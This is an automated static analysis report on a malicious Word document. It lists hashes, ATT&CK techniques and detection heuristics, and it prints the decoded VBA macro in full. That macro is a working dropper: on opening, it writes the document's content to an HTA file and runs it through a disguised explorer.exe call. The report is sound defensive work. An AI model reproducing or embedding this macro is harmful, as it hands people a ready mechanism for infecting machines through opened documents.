Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58059d2e557fd800…

MALICIOUS

Office (OLE)

71.0 KB Created: 2021-09-02 10:16:00 Authoring application: Microsoft Office Word First seen: 2021-09-17
MD5: ba4938551d336429510154e158eb95de SHA-1: 177477c5bcc06abb743b5e67847e51ab1682d6a6 SHA-256: 58059d2e557fd800c65f03e8e1b38bc9f32659b8dbaad9692694f9c930cd1ff8
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'document_open' macro is designed to execute a second-stage payload by writing content to '1.hta' and then executing it using 'c:\..\..\..\windows\explorerrer 1.hta'. This indicates a downloader or dropper functionality, aiming to execute further malicious code.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 730 bytes
SHA-256: 6d91792154a2f52c089fdd6282e448f8ae252882d924dcd4de933d9470da3466
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
Call xyz("1.hta", Replace(ActiveDocument.Content, "^)", ""))
End Sub

Attribute VB_Name = "docWin"
Sub xyz(objDevObj, docDivObj)
Open objDevObj For Output As #1
Print #1, docDivObj
devEx objDevObj, "explo"
End Sub

Attribute VB_Name = "objDoc"
Sub devEx(docDriveDev, dirDivEx)
Set docObjDev = New IWshRuntimeLibrary.WshShell
docObjDev.exec "c:\\..\\..\\..\\windows\\" + dirDivEx + "rer " + docDriveDev
End Sub

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